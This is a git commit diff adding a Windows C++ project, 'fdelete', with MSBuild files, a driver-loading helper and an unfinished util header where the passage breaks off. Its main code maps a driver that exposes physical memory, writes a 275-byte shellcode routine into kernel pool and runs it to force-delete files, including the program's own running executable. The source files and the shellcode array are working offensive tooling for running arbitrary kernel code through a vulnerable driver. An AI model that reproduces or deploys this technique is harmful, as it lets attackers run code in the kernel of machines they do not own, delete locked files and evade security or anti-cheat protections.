parent
b3a168453c
commit
8c4a5bb3d5
@ -0,0 +1,82 @@
|
||||
#include <ntifs.h>
|
||||
|
||||
using ObReferenceObjectByHandleType = decltype(&ObReferenceObjectByHandle);
|
||||
using ObfDereferenceObjectType = decltype(&ObfDereferenceObject);
|
||||
using ZwCloseType = decltype(&ZwClose);
|
||||
using IoCreateFileSpecifyDeviceObjectHintType = decltype(&IoCreateFileSpecifyDeviceObjectHint);
|
||||
using ZwDeleteFileType = decltype(&ZwDeleteFile);
|
||||
using RtlInitUnicodeStringType = decltype(&RtlInitUnicodeString);
|
||||
|
||||
typedef struct _IMPORT_STRUCT
|
||||
{
|
||||
ObReferenceObjectByHandleType ObReferenceObjectByHandlePtr;
|
||||
ObfDereferenceObjectType ObfDereferenceObjectPtr;
|
||||
ZwCloseType ZwClosePtr;
|
||||
IoCreateFileSpecifyDeviceObjectHintType IoCreateFileSpecifyDeviceObjectHintPtr;
|
||||
ZwDeleteFileType ZwDeleteFilePtr;
|
||||
RtlInitUnicodeStringType RtlInitUnicodeStringPtr;
|
||||
} IMPORT_STRUCT, *PIMPORT_STRUCT;
|
||||
|
||||
/*
|
||||
Param: ImagePath
|
||||
|
||||
A pointer to a buffered Unicode string naming the file to be created or opened.
|
||||
This value must be a fully qualified file specification, unless it is the name of a file relative
|
||||
to the directory specified by RootDirectory. For example, \Device\Floppy1\myfile.dat or \??\B:\myfile.dat
|
||||
could be the fully qualified file specification, provided that the floppy driver and overlying file system are already loaded.
|
||||
(Note that \?? replaces \DosDevices as the name of the Win32 object namespace. \DosDevices will still work,
|
||||
but \?? is translated faster by the object manager.)
|
||||
*/
|
||||
NTSTATUS EntryDelete(PIMPORT_STRUCT Imports, PWCHAR ImagePath)
|
||||
{
|
||||
HANDLE FileHandle;
|
||||
NTSTATUS Status;
|
||||
IO_STATUS_BLOCK IOBlock;
|
||||
PDEVICE_OBJECT DeviceObject = nullptr;
|
||||
PFILE_OBJECT FileObject = nullptr;
|
||||
OBJECT_ATTRIBUTES FileAttributes;
|
||||
UNICODE_STRING ImagePathUnicode;
|
||||
|
||||
Imports->RtlInitUnicodeStringPtr(&ImagePathUnicode, ImagePath);
|
||||
RtlZeroMemory(&IOBlock, sizeof IOBlock);
|
||||
|
||||
InitializeObjectAttributes(&FileAttributes,
|
||||
&ImagePathUnicode,
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
NULL,
|
||||
NULL);
|
||||
|
||||
if ((Status = Imports->IoCreateFileSpecifyDeviceObjectHintPtr(
|
||||
&FileHandle,
|
||||
SYNCHRONIZE | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | FILE_READ_DATA,
|
||||
&FileAttributes,
|
||||
&IOBlock,
|
||||
NULL,
|
||||
NULL,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||
FILE_OPEN,
|
||||
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
|
||||
NULL,
|
||||
NULL,
|
||||
CreateFileTypeNone,
|
||||
NULL,
|
||||
IO_IGNORE_SHARE_ACCESS_CHECK,
|
||||
DeviceObject)) != STATUS_SUCCESS)
|
||||
return Status;
|
||||
|
||||
if ((Status = Imports->ObReferenceObjectByHandlePtr(
|
||||
FileHandle, NULL, NULL, NULL, (PVOID*)&FileObject, NULL)) != STATUS_SUCCESS)
|
||||
return Status;
|
||||
|
||||
FileObject->SectionObjectPointer->ImageSectionObject = 0;
|
||||
FileObject->DeleteAccess = 1;
|
||||
|
||||
if ((Status = Imports->ZwDeleteFilePtr(&FileAttributes)) != STATUS_SUCCESS)
|
||||
return Status;
|
||||
|
||||
Imports->ObfDereferenceObjectPtr(FileObject);
|
||||
if ((Status = Imports->ZwClosePtr(FileHandle)) != STATUS_SUCCESS)
|
||||
return Status;
|
||||
|
||||
return Status;
|
||||
}
|
@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="entry.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<SignMode>Off</SignMode>
|
||||
</PropertyGroup>
|
||||
</Project>
|
@ -0,0 +1,92 @@
|
||||
#pragma once
|
||||
#include "vdm_ctx/vdm_ctx.hpp"
|
||||
|
||||
namespace fdelete
|
||||
{
|
||||
typedef struct _import_struct_t
|
||||
{
|
||||
void* ObReferenceObjectByHandlePtr;
|
||||
void* ObfDereferenceObjectPtr;
|
||||
void* ZwClosePtr;
|
||||
void* IoCreateFileSpecifyDeviceObjectHintPtr;
|
||||
void* ZwDeleteFilePtr;
|
||||
void* RtlInitUnicodeStringPtr;
|
||||
} import_struct_t, *pimport_struct_t;
|
||||
|
||||
using entry_delete_t = NTSTATUS(*)(pimport_struct_t, const wchar_t* image_path);
|
||||
using ex_allocate_t = void* (*)(std::uint16_t, std::size_t);
|
||||
using ex_free_t = bool(*)(void*);
|
||||
|
||||
// NTSTATUS EntryDelete(PIMPORT_STRUCT Imports, PWCHAR ImagePath)
|
||||
inline unsigned char shellcode[275] =
|
||||
{
|
||||
0x48, 0x89, 0x5C, 0x24, 0x10, 0x55, 0x48, 0x8D, 0x6C, 0x24, 0xA9, 0x48,
|
||||
0x81, 0xEC, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x67, 0x00, 0x48,
|
||||
0x8B, 0xD9, 0x48, 0x8D, 0x4D, 0x07, 0xFF, 0x53, 0x28, 0x48, 0x83, 0x64,
|
||||
0x24, 0x70, 0x00, 0x48, 0x8D, 0x45, 0x07, 0x48, 0x83, 0x65, 0x2F, 0x00,
|
||||
0x4C, 0x8D, 0x4D, 0x17, 0xC7, 0x44, 0x24, 0x68, 0x00, 0x08, 0x00, 0x00,
|
||||
0x4C, 0x8D, 0x45, 0x27, 0x48, 0x83, 0x64, 0x24, 0x60, 0x00, 0x48, 0x8D,
|
||||
0x4D, 0x77, 0x83, 0x64, 0x24, 0x58, 0x00, 0x0F, 0x57, 0xC0, 0x83, 0x64,
|
||||
0x24, 0x50, 0x00, 0xBA, 0x81, 0x01, 0x10, 0x00, 0x48, 0x83, 0x64, 0x24,
|
||||
0x48, 0x00, 0xC7, 0x44, 0x24, 0x40, 0x60, 0x00, 0x00, 0x00, 0xC7, 0x44,
|
||||
0x24, 0x38, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x30, 0x07, 0x00,
|
||||
0x00, 0x00, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20,
|
||||
0x00, 0x48, 0x89, 0x45, 0x37, 0x48, 0x8B, 0x43, 0x18, 0x0F, 0x11, 0x45,
|
||||
0x17, 0xC7, 0x45, 0x27, 0x30, 0x00, 0x00, 0x00, 0xC7, 0x45, 0x3F, 0x40,
|
||||
0x00, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0x45, 0x47, 0xFF, 0xD0, 0x85, 0xC0,
|
||||
0x75, 0x58, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8D, 0x4D, 0x67,
|
||||
0x48, 0x8B, 0x03, 0x45, 0x33, 0xC9, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x45,
|
||||
0x33, 0xC0, 0x48, 0x8B, 0x4D, 0x77, 0x33, 0xD2, 0xFF, 0xD0, 0x85, 0xC0,
|
||||
0x75, 0x34, 0x48, 0x8B, 0x45, 0x67, 0x48, 0x8B, 0x48, 0x28, 0x48, 0x83,
|
||||
0x61, 0x10, 0x00, 0x48, 0x8D, 0x4D, 0x27, 0x48, 0x8B, 0x45, 0x67, 0xC6,
|
||||
0x40, 0x4C, 0x01, 0x48, 0x8B, 0x43, 0x20, 0xFF, 0xD0, 0x85, 0xC0, 0x75,
|
||||
0x11, 0x48, 0x8B, 0x4D, 0x67, 0xFF, 0x53, 0x08, 0x48, 0x8B, 0x43, 0x10,
|
||||
0x48, 0x8B, 0x4D, 0x77, 0xFF, 0xD0, 0x48, 0x8B, 0x9C, 0x24, 0xE8, 0x00,
|
||||
0x00, 0x00, 0x48, 0x81, 0xC4, 0xD0, 0x00, 0x00, 0x00, 0x5D, 0xC3
|
||||
};
|
||||
|
||||
auto remove(vdm::vdm_ctx* vdm, const wchar_t* image_path) -> bool
|
||||
{
|
||||
static const auto ex_allocate_pool =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "ExAllocatePool");
|
||||
|
||||
static const auto ex_free_pool =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "ExFreePool");
|
||||
|
||||
static import_struct_t imports;
|
||||
static std::once_flag once;
|
||||
std::call_once(once, [&]()-> void
|
||||
{
|
||||
imports.IoCreateFileSpecifyDeviceObjectHintPtr =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "IoCreateFileSpecifyDeviceObjectHint");
|
||||
|
||||
imports.ObfDereferenceObjectPtr =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "ObfDereferenceObject");
|
||||
|
||||
imports.ObReferenceObjectByHandlePtr =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "ObReferenceObjectByHandle");
|
||||
|
||||
imports.RtlInitUnicodeStringPtr =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "RtlInitUnicodeString");
|
||||
|
||||
imports.ZwClosePtr =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "ZwClose");
|
||||
|
||||
imports.ZwDeleteFilePtr =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "ZwDeleteFile");
|
||||
});
|
||||
|
||||
const auto shellcode_base =
|
||||
vdm->syscall<ex_allocate_t>(
|
||||
ex_allocate_pool, NULL, sizeof shellcode);
|
||||
|
||||
vdm->wkm(shellcode_base, shellcode, sizeof shellcode);
|
||||
|
||||
const auto result =
|
||||
vdm->syscall<entry_delete_t>(
|
||||
shellcode_base, &imports, image_path);
|
||||
|
||||
vdm->syscall<ex_free_t>(ex_free_pool, shellcode_base);
|
||||
return result == STATUS_SUCCESS;
|
||||
}
|
||||
}
|
@ -0,0 +1,69 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{6310781f-8d12-437e-a9d5-93380de21111}</ProjectGuid>
|
||||
<RootNamespace>fdelete</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="fdelete.hpp" />
|
||||
<ClInclude Include="util\loadup.hpp" />
|
||||
<ClInclude Include="util\nt.hpp" />
|
||||
<ClInclude Include="util\util.hpp" />
|
||||
<ClInclude Include="vdm\raw_driver.hpp" />
|
||||
<ClInclude Include="vdm\vdm.hpp" />
|
||||
<ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -0,0 +1,50 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\util">
|
||||
<UniqueIdentifier>{2fdaab14-9e4c-4d36-98f3-719fd08b4fd2}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\vdm">
|
||||
<UniqueIdentifier>{8b2b158e-1b60-48f4-bbda-9cd24234ac6c}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="util\loadup.hpp">
|
||||
<Filter>Header Files\util</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="util\nt.hpp">
|
||||
<Filter>Header Files\util</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="util\util.hpp">
|
||||
<Filter>Header Files\util</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm\raw_driver.hpp">
|
||||
<Filter>Header Files\vdm</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm\vdm.hpp">
|
||||
<Filter>Header Files\vdm</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm_ctx\vdm_ctx.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="fdelete.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
@ -0,0 +1,41 @@
|
||||
#include <Windows.h>
|
||||
#include <psapi.h>
|
||||
#include "fdelete.hpp"
|
||||
|
||||
int main()
|
||||
{
|
||||
auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
|
||||
if (drv_status != STATUS_SUCCESS or drv_handle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::printf("load driver failed... reason: 0x%x\n", drv_status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
vdm::read_phys_t _read_phys =
|
||||
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||
{
|
||||
return vdm::read_phys(addr, buffer, size);
|
||||
};
|
||||
|
||||
vdm::write_phys_t _write_phys =
|
||||
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||
{
|
||||
return vdm::write_phys(addr, buffer, size);
|
||||
};
|
||||
|
||||
wchar_t process_name[MAX_PATH];
|
||||
memset(process_name, NULL, MAX_PATH);
|
||||
|
||||
GetProcessImageFileNameW(GetCurrentProcess(), process_name, MAX_PATH);
|
||||
std::printf("file path: %ws\n", process_name);
|
||||
|
||||
vdm::vdm_ctx vdm(_read_phys, _write_phys);
|
||||
std::printf("delete file result: %d\n", fdelete::remove(&vdm, process_name));
|
||||
std::getchar();
|
||||
|
||||
if ((drv_status = vdm::unload_drv(drv_handle, drv_key)) != STATUS_SUCCESS)
|
||||
{
|
||||
std::printf("failed to unload driver... reason: 0x%x\n", drv_status);
|
||||
return -1;
|
||||
}
|
||||
}
|
@ -0,0 +1,262 @@
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 xerox
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <Winternl.h>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <filesystem>
|
||||
#include <ntstatus.h>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||
|
||||
namespace driver
|
||||
{
|
||||
namespace util
|
||||
{
|
||||
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||
}
|
||||
|
||||
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
reg_key += service_name;
|
||||
|
||||
auto result = RegCreateKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t type_value = 1;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Type",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&type_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t error_control_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ErrorControl",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&error_control_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t start_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Start",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&start_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ImagePath",
|
||||
NULL,
|
||||
REG_SZ,
|
||||
(std::uint8_t*) drv_path.c_str(),
|
||||
drv_path.size()
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||
}
|
||||
|
||||
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||
{
|
||||
HANDLE token_handle = nullptr;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||
return false;
|
||||
|
||||
LUID luid{};
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||
return false;
|
||||
|
||||
TOKEN_PRIVILEGES token_state{};
|
||||
token_state.PrivilegeCount = 1;
|
||||
token_state.Privileges[0].Luid = luid;
|
||||
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||
return false;
|
||||
|
||||
CloseHandle(token_handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||
{
|
||||
HKEY reg_handle;
|
||||
DWORD bytes_read;
|
||||
char image_path[0xFF];
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
result = RegGetValueA(
|
||||
reg_handle,
|
||||
service_name.c_str(),
|
||||
"ImagePath",
|
||||
REG_SZ,
|
||||
NULL,
|
||||
image_path,
|
||||
&bytes_read
|
||||
);
|
||||
|
||||
RegCloseKey(reg_handle);
|
||||
return std::string(image_path);
|
||||
}
|
||||
}
|
||||
|
||||
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||
return false;
|
||||
|
||||
if (!util::create_service_entry("\\??\\" +
|
||||
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||
return false;
|
||||
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
return NtLoadDriver(&driver_reg_path_unicode);
|
||||
}
|
||||
|
||||
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||
{
|
||||
std::srand(std::time(0));
|
||||
static const auto randchar = []() -> char
|
||||
{
|
||||
const char charset[] =
|
||||
"0123456789"
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
"abcdefghijklmnopqrstuvwxyz";
|
||||
const std::size_t max_index = (sizeof(charset) - 1);
|
||||
return charset[rand() % max_index];
|
||||
};
|
||||
|
||||
std::string str(length, 0);
|
||||
std::generate_n(str.begin(), length, randchar);
|
||||
return str;
|
||||
};
|
||||
|
||||
const auto service_name = random_file_name(16);
|
||||
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||
|
||||
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||
output_file.close();
|
||||
|
||||
return { load(file_path, service_name), service_name };
|
||||
}
|
||||
|
||||
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||
return load(image);
|
||||
}
|
||||
|
||||
__forceinline auto unload(const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(
|
||||
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
|
||||
const bool unload_result =
|
||||
NtUnloadDriver(&driver_reg_path_unicode);
|
||||
|
||||
util::delete_service_entry(service_name);
|
||||
// sometimes you cannot delete the driver off disk because there are still handles open
|
||||
// to the driver, this means the driver is still loaded into the kernel...
|
||||
try
|
||||
{
|
||||
std::filesystem::remove(
|
||||
std::filesystem::temp_directory_path()
|
||||
.string() + service_name);
|
||||
}
|
||||
catch (std::exception& e)
|
||||
{
|
||||
return STATUS_ABANDONED;
|
||||
}
|
||||
return unload_result;
|
||||
}
|
||||
}
|
@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
#define PAGE_4KB 0x1000
|
||||
|
||||
constexpr auto SystemModuleInformation = 11;
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||
{
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES
|
||||
{
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||
|
||||
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
|
||||
|
||||
using PEPROCESS = PVOID;
|
||||
using PsLookupProcessByProcessId = NTSTATUS(__fastcall*)(
|
||||
HANDLE ProcessId,
|
||||
PEPROCESS* Process
|
||||
);
|
@ -0,0 +1,234 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <ntstatus.h>
|
||||
|
||||
#include <cstdint>
|
||||
#include <string_view>
|
||||
#include <algorithm>
|
||||
#include <string_view>
|
||||
#include <map>
|
||||
#include "nt.hpp"
|
||||
|
||||
namespace util
|
||||
{
|
||||
inline std::map<std::uintptr_t, std::size_t> pmem_ranges{};
|
||||
__forceinline auto is_valid(std::uintptr_t addr) -> bool
|
||||
{
|
||||
for (auto range : pmem_ranges)
|
||||
if (addr >= range.first && addr <= range.first + range.second)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
#pragma pack (push, 1)
|
||||
